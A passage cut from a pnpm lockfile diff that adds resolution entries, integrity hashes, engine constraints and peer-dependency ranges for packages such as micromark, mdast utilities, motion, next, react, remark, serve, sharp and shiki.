sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ==} + + mdast-util-mdx-expression@2.0.1: + resolution: {integrity: sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==} + + mdast-util-mdx-jsx@3.2.0: + resolution: {integrity: sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==} + + mdast-util-mdx@3.0.0: + resolution: {integrity: sha512-JfbYLAW7XnYTTbUsmpu0kdBUVe+yKVJZBItEjwyYJiDJuZ9w4eeaqks4HQO+R7objWgS2ymV60GYpI14Ug554w==} + + mdast-util-mdxjs-esm@2.0.1: + resolution: {integrity: sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==} + + mdast-util-phrasing@4.1.0: + resolution: {integrity: sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==} + + mdast-util-to-hast@13.2.1: + resolution: {integrity: sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==} + + mdast-util-to-markdown@2.1.2: + resolution: {integrity: sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==} + + mdast-util-to-string@4.0.0: + resolution: {integrity: sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==} + + merge-stream@2.0.0: + resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} + + micromark-core-commonmark@2.0.3: + resolution: {integrity: sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==} + + micromark-extension-gfm-autolink-literal@2.1.0: + resolution: {integrity: sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==} + + micromark-extension-gfm-footnote@2.1.0: + resolution: {integrity: sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==} + + micromark-extension-gfm-strikethrough@2.1.0: + resolution: {integrity: sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==} + + micromark-extension-gfm-table@2.1.1: + resolution: {integrity: sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==} + + micromark-extension-gfm-tagfilter@2.0.0: + resolution: {integrity: sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==} + + micromark-extension-gfm-task-list-item@2.1.0: + resolution: {integrity: sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==} + + micromark-extension-gfm@3.0.0: + resolution: {integrity: sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==} + + micromark-extension-mdx-expression@3.0.1: + resolution: {integrity: sha512-dD/ADLJ1AeMvSAKBwO22zG22N4ybhe7kFIZ3LsDI0GlsNr2A3KYxb0LdC1u5rj4Nw+CHKY0RVdnHX8vj8ejm4Q==} + + micromark-extension-mdx-jsx@3.0.2: + resolution: {integrity: sha512-e5+q1DjMh62LZAJOnDraSSbDMvGJ8x3cbjygy2qFEi7HCeUT4BDKCvMozPozcD6WmOt6sVvYDNBKhFSz3kjOVQ==} + + micromark-extension-mdx-md@2.0.0: + resolution: {integrity: sha512-EpAiszsB3blw4Rpba7xTOUptcFeBFi+6PY8VnJ2hhimH+vCQDirWgsMpz7w1XcZE7LVrSAUGb9VJpG9ghlYvYQ==} + + micromark-extension-mdxjs-esm@3.0.0: + resolution: {integrity: sha512-DJFl4ZqkErRpq/dAPyeWp15tGrcrrJho1hKK5uBS70BCtfrIFg81sqcTVu3Ta+KD1Tk5vAtBNElWxtAa+m8K9A==} + + micromark-extension-mdxjs@3.0.0: + resolution: {integrity: sha512-A873fJfhnJ2siZyUrJ31l34Uqwy4xIFmvPY1oj+Ean5PHcPBYzEsvqvWGaWcfEIr11O5Dlw3p2y0tZWpKHDejQ==} + + micromark-factory-destination@2.0.1: + resolution: {integrity: sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==} + + micromark-factory-label@2.0.1: + resolution: {integrity: sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==} + + micromark-factory-mdx-expression@2.0.3: + resolution: {integrity: sha512-kQnEtA3vzucU2BkrIa8/VaSAsP+EJ3CKOvhMuJgOEGg9KDC6OAY6nSnNDVRiVNRqj7Y4SlSzcStaH/5jge8JdQ==} + + micromark-factory-space@2.0.1: + resolution: {integrity: sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==} + + micromark-factory-title@2.0.1: + resolution: {integrity: sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==} + + micromark-factory-whitespace@2.0.1: + resolution: {integrity: sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==} + + micromark-util-character@2.1.1: + resolution: {integrity: sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==} + + micromark-util-chunked@2.0.1: + resolution: {integrity: sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==} + + micromark-util-classify-character@2.0.1: + resolution: {integrity: sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==} + + micromark-util-combine-extensions@2.0.1: + resolution: {integrity: sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==} + + micromark-util-decode-numeric-character-reference@2.0.2: + resolution: {integrity: sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==} + + micromark-util-decode-string@2.0.1: + resolution: {integrity: sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==} + + micromark-util-encode@2.0.1: + resolution: {integrity: sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==} + + micromark-util-events-to-acorn@2.0.3: + resolution: {integrity: sha512-jmsiEIiZ1n7X1Rr5k8wVExBQCg5jy4UXVADItHmNk1zkwEVhBuIUKRu3fqv+hs4nxLISi2DQGlqIOGiFxgbfHg==} + + micromark-util-html-tag-name@2.0.1: + resolution: {integrity: sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==} + + micromark-util-normalize-identifier@2.0.1: + resolution: {integrity: sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==} + + micromark-util-resolve-all@2.0.1: + resolution: {integrity: sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==} + + micromark-util-sanitize-uri@2.0.1: + resolution: {integrity: sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==} + + micromark-util-subtokenize@2.1.0: + resolution: {integrity: sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==} + + micromark-util-symbol@2.0.1: + resolution: {integrity: sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==} + + micromark-util-types@2.0.2: + resolution: {integrity: sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==} + + micromark@4.0.2: + resolution: {integrity: sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==} + + mime-db@1.33.0: + resolution: {integrity: sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==} + engines: {node: '>= 0.6'} + + mime-db@1.54.0: + resolution: {integrity: sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==} + engines: {node: '>= 0.6'} + + mime-types@2.1.18: + resolution: {integrity: sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==} + engines: {node: '>= 0.6'} + + mimic-fn@2.1.0: + resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} + engines: {node: '>=6'} + + minimatch@3.1.5: + resolution: {integrity: sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==} + + minimist@1.2.8: + resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} + + motion-dom@12.43.0: + resolution: {integrity: sha512-azKON4d9S65PEoFUiQTMTgPheEmzf2QngdRc50AKfJp9Q9mmcBVw22c8eMq9k8kxOFHdL7+WZY7N/5F/lwiDag==} + + motion-utils@12.39.0: + resolution: {integrity: sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ==} + + motion@12.43.0: + resolution: {integrity: sha512-BQgQbSa9Hn3/mtbib0MK53y6JSANa+YKUKlaYnWzAVDH424RYQ5LVpV3pNiWH00BA2z4ojsSdMzqT7g2FQwjuQ==} + peerDependencies: + '@emotion/is-prop-valid': '*' + react: ^18.0.0 || ^19.0.0 + react-dom: ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + '@emotion/is-prop-valid': + optional: true + react: + optional: true + react-dom: + optional: true + + ms@2.0.0: + resolution: {integrity: sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + nanoid@3.3.16: + resolution: {integrity: sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + negotiator@0.6.4: + resolution: {integrity: sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==} + engines: {node: '>= 0.6'} + + next-themes@0.4.6: + resolution: {integrity: sha512-pZvgD5L0IEvX5/9GWyHMf3m8BKiVQwsCMHfoFosXtXBMnaS0ZnIJ9ST4b4NqLVKDEm8QBxoNNGNaBv2JNF6XNA==} + peerDependencies: + react: ^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc + react-dom: ^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc + + next@16.2.12: + resolution: {integrity: sha512-iD59eYQWmbFcEbX7v/acG5DRym9iw1DdaPoD0WTA920naWsE25wShzJW4+UvAs8MK9EC2kBfIH6vtto1H1PHGw==} + engines: {node: '>=20.9.0'} + hasBin: true + peerDependencies: + '@opentelemetry/api': ^1.1.0 + '@playwright/test': ^1.51.1 + babel-plugin-react-compiler: '*' + react: ^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0 + react-dom: ^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0 + sass: ^1.3.0 + peerDependenciesMeta: + '@opentelemetry/api': + optional: true + '@playwright/test': + optional: true + babel-plugin-react-compiler: + optional: true + sass: + optional: true + + npm-run-path@4.0.1: + resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==} + engines: {node: '>=8'} + + npm-to-yarn@3.1.0: + resolution: {integrity: sha512-9gNsO/JB3LeWOZXBX09cKMsCPwVcu1ExIf+GUuTN9G+0zZvLIK0nU9+lE9jue3MSKAxPdrh0rO072mWNvciqeQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + on-headers@1.1.0: + resolution: {integrity: sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==} + engines: {node: '>= 0.8'} + + onetime@5.1.2: + resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} + engines: {node: '>=6'} + + oniguruma-parser@0.12.2: + resolution: {integrity: sha512-6HVa5oIrgMC6aA6WF6XyyqbhRPJrKR02L20+2+zpDtO5QAzGHAUGw5TKQvwi5vctNnRHkJYmjAhRVQF2EKdTQw==} + + oniguruma-to-es@4.3.6: + resolution: {integrity: sha512-csuQ9x3Yr0cEIs/Zgx/OEt9iBw9vqIunAPQkx19R/fiMq2oGVTgcMqO/V3Ybqefr1TBvosI6jU539ksaBULJyA==} + + parse-entities@4.0.2: + resolution: {integrity: sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==} + + parse5@7.3.0: + resolution: {integrity: sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==} + + path-is-inside@1.0.2: + resolution: {integrity: sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w==} + + path-key@3.1.1: + resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} + engines: {node: '>=8'} + + path-to-regexp@3.3.0: + resolution: {integrity: sha512-qyCH421YQPS2WFDxDjftfc1ZR5WKQzVzqsp4n9M2kQhVOo/ByahFoUNJfl58kOcEGfQ//7weFTDhm+ss8Ecxgw==} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@4.0.5: + resolution: {integrity: sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==} + engines: {node: '>=12'} + + postcss@8.5.25: + resolution: {integrity: sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw==} + engines: {node: ^10 || ^12 || >=14} + + property-information@7.2.0: + resolution: {integrity: sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg==} + + range-parser@1.2.0: + resolution: {integrity: sha512-kA5WQoNVo4t9lNx2kQNFCxKeBl5IbbSNBl1M/tLkw9WCn+hxNBAW5Qh8gdhs63CJnhjJ2zQWFoqPJP2sK1AV5A==} + engines: {node: '>= 0.6'} + + rc@1.2.8: + resolution: {integrity: sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==} + hasBin: true + + react-dom@19.2.8: + resolution: {integrity: sha512-rVprimfGBG3DR+Tq0IQG2DT5PxKth1WIGDmj5yPmlzr4YBe7uyE+Du4oVqTDXZSHGGGXRtTJEGSSePyQCMBglQ==} + peerDependencies: + react: ^19.2.8 + + react-remove-scroll-bar@2.3.8: + resolution: {integrity: sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + + react-remove-scroll@2.7.2: + resolution: {integrity: sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + react-style-singleton@2.2.3: + resolution: {integrity: sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + react@19.2.8: + resolution: {integrity: sha512-PWaYA1L/q9u2u7xYQi+Y3L3Yfnie7XyLeaJICV1MGD6LprsBxcAqGjYyr0eY3p+QdsA+x/Irkt4Qif8D63+Sbw==} + engines: {node: '>=0.10.0'} + + readdirp@5.0.0: + resolution: {integrity: sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ==} + engines: {node: '>= 20.19.0'} + + recma-build-jsx@1.0.0: + resolution: {integrity: sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew==} + + recma-jsx@1.0.1: + resolution: {integrity: sha512-huSIy7VU2Z5OLv6oFLosQGGDqPqdO1iq6bWNAdhzMxSJP7RAso4fCZ1cKu8j9YHCZf3TPrq4dw3okhrylgcd7w==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + recma-parse@1.0.0: + resolution: {integrity: sha512-OYLsIGBB5Y5wjnSnQW6t3Xg7q3fQ7FWbw/vcXtORTnyaSFscOtABg+7Pnz6YZ6c27fG1/aN8CjfwoUEUIdwqWQ==} + + recma-stringify@1.0.0: + resolution: {integrity: sha512-cjwII1MdIIVloKvC9ErQ+OgAtwHBmcZ0Bg4ciz78FtbT8In39aAYbaA7zvxQ61xVMSPE8WxhLwLbhif4Js2C+g==} + + regex-recursion@6.0.2: + resolution: {integrity: sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==} + + regex-utilities@2.3.0: + resolution: {integrity: sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng==} + + regex@6.1.0: + resolution: {integrity: sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==} + + registry-auth-token@3.3.2: + resolution: {integrity: sha512-JL39c60XlzCVgNrO+qq68FoNb56w/m7JYvGR2jT5iR1xBrUA3Mfx5Twk5rqTThPmQKMWydGmq8oFtDlxfrmxnQ==} + + registry-url@3.1.0: + resolution: {integrity: sha512-ZbgR5aZEdf4UKZVBPYIgaglBmSF2Hi94s2PcIHhRGFjKYu+chjJdYfHn4rt3hB6eCKLJ8giVIIfgMa1ehDfZKA==} + engines: {node: '>=0.10.0'} + + rehype-raw@7.0.0: + resolution: {integrity: sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==} + + rehype-recma@1.0.0: + resolution: {integrity: sha512-lqA4rGUf1JmacCNWWZx0Wv1dHqMwxzsDWYMTowuplHF3xH0N/MmrZ/G3BDZnzAkRmxDadujCjaKM2hqYdCBOGw==} + + remark-gfm@4.0.1: + resolution: {integrity: sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==} + + remark-mdx@3.1.1: + resolution: {integrity: sha512-Pjj2IYlUY3+D8x00UJsIOg5BEvfMyeI+2uLPn9VO9Wg4MEtN/VTIq2NEJQfde9PnX15KgtHyl9S0BcTnWrIuWg==} + + remark-parse@11.0.0: + resolution: {integrity: sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==} + + remark-rehype@11.1.2: + resolution: {integrity: sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw==} + + remark-stringify@11.0.0: + resolution: {integrity: sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==} + + remark@15.0.1: + resolution: {integrity: sha512-Eht5w30ruCXgFmxVUSlNWQ9iiimq07URKeFS3hNc8cUWy1llX4KDWfyEDZRycMc+znsN9Ux5/tJ/BFdgdOwA3A==} + + require-from-string@2.0.2: + resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} + engines: {node: '>=0.10.0'} + + safe-buffer@5.2.1: + resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} + + scheduler@0.27.0: + resolution: {integrity: sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==} + + scroll-into-view-if-needed@3.1.0: + resolution: {integrity: sha512-49oNpRjWRvnU8NyGVmUaYG4jtTkNonFZI86MmGRDqBphEK2EXT9gdEUoQPZhuBM8yWHxCWbobltqYO5M4XrUvQ==} + + semver@7.8.5: + resolution: {integrity: sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==} + engines: {node: '>=10'} + hasBin: true + + serve-handler@6.1.7: + resolution: {integrity: sha512-CinAq1xWb0vR3twAv9evEU8cNWkXCb9kd5ePAHUKJBkOsUpR1wt/CvGdeca7vqumL1U5cSaeVQ6zZMxiJ3yWsg==} + + serve@14.2.6: + resolution: {integrity: sha512-QEjUSA+sD4Rotm1znR8s50YqA3kYpRGPmtd5GlFxbaL9n/FdUNbqMhxClqdditSk0LlZyA/dhud6XNRTOC9x2Q==} + engines: {node: '>= 14'} + hasBin: true + + sharp@0.35.3: + resolution: {integrity: sha512-ej0zVHuZGHCiABXcNxeYhpRnPNPAcvbG8RMdBAhDAxLKkCRVSpK3Iyu7qbqw3JMzoj0REeM6f3tJLtVwl0023Q==} + engines: {node: '>=20.9.0'} + peerDependencies: + '@types/node': '*' + peerDependenciesMeta: + '@types/node': + optional: true + + shebang-command@2.0.0: + resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} + engines: {node: '>=8'} + + shebang-regex@3.0.0: + resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} + engines: {node: '>=8'} + + shiki@4.4.1: + resolution: {integrity: sha512-rFP+iYKzjLEIqiMiKANhARqiAbk4deDhWnBtnUO/K0D0dPxMGDH4N0FVfBY/VeI+lPrV4wNGCHQZp7EOr7NNBw==} + engines: {node: '>=20'} + + signal-exit@3.0.7: + resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + source-map@0.7.6: + resolution: {integrity: sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==} + engines: {node: '>= 12'} + + space-separated-tokens@2.0.2: + resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} + + string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + + string-width@5.1.2: + resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==} + engines: {node: '>=12'} + + stringify-entities@4.0.4: + resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + 